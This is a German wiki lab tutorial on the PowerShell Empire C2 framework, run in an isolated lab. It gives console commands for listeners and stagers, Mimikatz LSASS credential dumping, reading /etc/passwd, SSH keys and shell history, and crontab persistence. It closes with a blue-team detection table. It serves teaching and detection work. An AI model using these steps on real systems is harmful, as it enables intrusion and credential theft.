PowerShell Empire

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen

PowerShell Empire

ℹ️ Hinweis: Alle folgenden Schritte finden ausschließlich im isolierten Lab-Netz (secure.local, 10.0.10.0/24) statt. Empire ist ein Dual-Use-Werkzeug – Einsatz nur gegen Systeme, für die eine ausdrückliche Freigabe vorliegt.

Was ist Empire?

Empire ist ein Post-Exploitation- und Command-and-Control-Framework (C2) für Red-Team-Arbeit und Adversary Emulation. Der entscheidende Punkt für das Verständnis:

Empire verschafft dir keinen Zugang – Empire nutzt einen bereits vorhandenen Zugang aus.

Der typische Angriffsablauf zerfällt in zwei Phasen:

Phase Frage Werkzeug (Beispiel)
Initial Access „Wie komme ich rein?" Exploit, Phishing, geklaute Zugangsdaten (z. B. Metasploit)
Post-Exploitation „Ich bin drin – was jetzt?" Empire (C2, Tasking, Persistenz, Credential-Zugriff, Lateral Movement, Exfiltration)

Genau diese zweite Phase ist das, was Teilnehmer oft unterschätzen: Der erste Treffer ist selten das Ziel, sondern nur der Anfang. Empire macht sichtbar, wie aus einem einzelnen kompromittierten Rechner die Kontrolle über ein ganzes Netz wird.

Empire ging aus zwei älteren Projekten hervor (PowerShell Empire und Python EmPyre). Das Original wurde 2019 eingestellt; seither pflegt BC-Security den aktiven Fork. Aktueller Stand: Empire 6.x (benötigt mindestens Python 3.13). In Kali ist es paketiert:

sudo apt install powershell-empire

Architektur

Empire arbeitet nach dem Team-Server-Prinzip – ein zentraler Server, an den sich mehrere Operatoren (und die kompromittierten Rechner) anmelden:

ServerListenerStagerAgentTaskingModule
Baustein Funktion
Team-Server Zentrale Steuerung, REST-API (Standard-Port 1337). Läuft im Lab auf kali-innen (10.0.10.101).
Client / Starkiller Bedienoberfläche – CLI oder die grafische Weboberfläche Starkiller.
Listener Nimmt Rückverbindungen der Agenten entgegen (HTTP, HTTPS, ...).
Stager Kleiner Erstcode, der auf dem Ziel läuft und den vollständigen Agenten nachlädt.
Agent Der eigentliche Implantatprozess auf dem Ziel. Zwei Welten: PowerShell-Agent (Windows, ohne powershell.exe) und Python-Agent (Linux/macOS).
Modul Fertige Post-Ex-Funktion (Enumeration, Credential-Zugriff, Persistenz, Pivoting ...).

Dass es einen PowerShell- und einen Python-Agenten gibt, ist der Grund, warum wir Empire sowohl gegen ein Windows- als auch gegen ein Linux-Ziel zeigen können (Übung 1 und 2).

Einordnung: Womit konkurriert Empire?

Empire ist eines von vielen C2-Frameworks. Wo es steht, sieht man am besten im Vergleich:

Framework Lizenz Agent / Kern Stärke Bemerkung
Empire Open Source PowerShell + Python Riesige Post-Ex-/AD-Modulbibliothek, ideal zum Lernen PowerShell-lastig → wird von modernem AMSI/EDR gut erkannt
Cobalt Strike Kommerziell (Fortra), ca. 3.500 $/Nutzer im 1. Jahr, ~2.585 $ Verlängerung; Käuferprüfung Beacon „Goldstandard", Malleable C2, Team-Kollaboration Von realen APT-Gruppen am häufigsten missbraucht
Metasploit / Meterpreter Open Source / Pro Meterpreter Breite Exploit-Sammlung, alles aus einer Hand Eher exploit- als C2-zentriert
Sliver (Bishop Fox) Open Source Go, cross-platform Modern, mTLS/HTTP(S)/DNS/WireGuard, guter CS-Ersatz Aktueller Liebling vieler Red Teams
Mythic Open Source modular, viele Agenten Sehr flexibel, sauberes Web-UI Baukasten-Prinzip
Havoc Open Source Demon Modern, Fokus auf EDR-Evasion Jung, schnell gewachsen
PoshC2 Open Source PowerShell + Python Ähnliche Nische wie Empire Direkte Alternative
Brute Ratel Kommerziell Badger Stark auf EDR-Umgehung getrimmt Ebenfalls in kriminellem Umlauf

Fazit für den Unterricht: Empire ist kostenlos, extrem gut dokumentiert und hat eine der umfangreichsten Post-Ex-Modulbibliotheken – deshalb ist es ein hervorragendes Lehr- und Detektions-Werkzeug. Für maximale Tarnung gegen aktuelle EDR sind Teams weiter zu Sliver/Havoc/Mythic bzw. Cobalt Strike gewandert. Für „verstehen, wie C2 funktioniert und wie man es erkennt" ist Empire aber genau richtig.

Voraussetzungen im Lab

Rolle Host IP
Empire-Server / Angreifer kali-innen 10.0.10.101
Windows-Ziel (Übung 1) win2k8 / win11 10.0.10.107 / 10.0.10.102
Linux-Ziel (Übung 2) opfer / userver 10.0.10.104 / 10.0.10.103

Empire-Server und Client starten (auf kali-innen):

# Terminal 1 – Team-Server
powershell-empire server

# Terminal 2 – Client
powershell-empire client
Hinweis: Der genaue Befehlssatz kann sich je nach Empire-Version leicht unterscheiden. Im Zweifel im jeweiligen Menü help eingeben.

Übung 1 – Windows-Ziel (PowerShell-Agent)

Lernziel: Post-Exploitation auf Windows – vom Foothold zum Credential-Zugriff – und der Aha-Moment, warum ein Altsystem „Game Over" bedeutet.

1.1 Listener bauen

(Empire) > uselistener http
(Empire)(uselistener/http) > set Name lab_http
(Empire)(uselistener/http) > set Host http://10.0.10.101
(Empire)(uselistener/http) > set Port 8080
(Empire)(uselistener/http) > execute
(Empire) > listeners

1.2 Stager erzeugen und auf dem Ziel ausführen

(Empire) > usestager windows/launcher_bat
(Empire)(usestager/...) > set Listener lab_http
(Empire)(usestager/...) > generate

Den erzeugten Stager im Lab auf dem Windows-Ziel ausführen (bei uns bewusst der klassische Weg – im Unterricht startet man ihn direkt auf der VM). Kurz darauf meldet sich der Agent.

1.3 Agent übernehmen und Lage sondieren

(Empire) > agents
(Empire) > interact <AGENT_NAME>
(Empire)(<AGENT>) > info
(Empire)(<AGENT>) > shell whoami
(Empire)(<AGENT>) > shell hostname
(Empire)(<AGENT>) > sysinfo

1.4 Der Payoff: Credential-Zugriff

Auf win2k8 (kein Credential Guard, kein AMSI) läuft das sauber durch:

(Empire)(<AGENT>) > usemodule powershell/credentials/mimikatz/logonpasswords
(Empire)(usemodule/...) > execute

Empire lädt Mimikatz im Speicher (ohne Datei auf Platte) und liest Klartext-/Hash-Anmeldedaten aus dem LSASS aus. Das ist der Moment, an dem die Post-Ex-Power greifbar wird: aus „ein Nutzer kompromittiert" wird „weitere Zugänge in der Hand".

1.5 Die Gegenprobe: dasselbe auf win11

Denselben Ablauf auf win11 (10.0.10.102) fahren. Ergebnis: der Standard-Launcher bzw. das Mimikatz-Modul wird von AMSI/Defender geblockt, LSASS ist durch Credential Guard / PPL geschützt. Genau hier springt die Blue-Team-Perspektive an – Thema: Evasion vs. Detection, und warum Patch-Stand und moderne Schutzmechanismen den Unterschied machen.

Übung 2 – Linux-Ziel (Python-Agent)

Lernziel: Empire ist nicht „nur Windows". Der Python-Agent zeigt Post-Exploitation auf einem Linux-Server – Enumeration, Beute sichern, Persistenz.

Zielwahl: modernes Debian (opfer/userver) mit Python 3. metasploitable hat nur Python 2 und eignet sich für den Metasploit-Teil (Initial Access), nicht für den aktuellen Empire-Python-Agenten.

2.1 Listener (falls nicht aus Übung 1 vorhanden)

(Empire) > uselistener http
(Empire)(uselistener/http) > set Name lab_http
(Empire)(uselistener/http) > set Host http://10.0.10.101
(Empire)(uselistener/http) > set Port 8080
(Empire)(uselistener/http) > execute

2.2 Python-Stager erzeugen und ausführen

(Empire) > usestager multi/bash
(Empire)(usestager/...) > set Listener lab_http
(Empire)(usestager/...) > generate

Den Einzeiler im Lab auf dem Linux-Ziel ausführen (im Unterricht direkt auf der VM). Der Python-Agent verbindet sich zurück.

2.3 Agent übernehmen und Linux-Enumeration

(Empire) > agents
(Empire) > interact <AGENT_NAME>
(Empire)(<AGENT>) > shell id
(Empire)(<AGENT>) > shell uname -a
(Empire)(<AGENT>) > shell sudo -l
(Empire)(<AGENT>) > shell cat /etc/passwd
(Empire)(<AGENT>) > shell ls -la ~/.ssh
(Empire)(<AGENT>) > shell cat ~/.bash_history

Lehrpunkt: Post-Ex-Tradecraft ist betriebssystemspezifisch – unter Linux sucht man nach sudo-Rechten, SSH-Schlüsseln, Cron-Jobs und History, nicht nach LSASS. Empire vereinheitlicht nur die Steuerung darüber.

2.4 Persistenz zeigen

(Empire)(<AGENT>) > usemodule python/persistence/multi/crontab
(Empire)(usemodule/...) > info
(Empire)(usemodule/...) > execute

Zeigt, wie sich ein Angreifer über einen Cron-Eintrag dauerhaft festsetzt – und liefert direkt die Vorlage, wonach die Verteidigung suchen muss.

Detektion (Blue-Team-Anschluss)

Beide Übungen lassen sich unmittelbar an SOC/SIEM anbinden – so wird aus dem Angriffs-Lab ein Erkennungs-Lab:

Beobachtung Nachweis
Agent-Beaconing (regelmäßige HTTP-Callbacks zu 10.0.10.101:8080) Suricata / Netzwerk-Flow: periodische, gleichförmige Verbindungen
PowerShell-Stager / Mimikatz im Speicher Windows-Eventlog (4104 Script Block Logging, Defender/AMSI-Events) → Wazuh
LSASS-Zugriff Sysmon Event ID 10 (ProcessAccess auf lsass.exe) → Wazuh-Regel
Linux-Persistenz per Crontab Dateiintegritäts-/Auditd-Überwachung von /var/spool/cron, /etc/cron* → Wazuh

Merksatz / didaktischer Kern

Exploit ≠ Post-Exploitation.
Der Exploit öffnet die Tür. Empire ist alles, was danach im Haus passiert – und genau deshalb ist Post-Ex die Phase, die man erkennen können muss.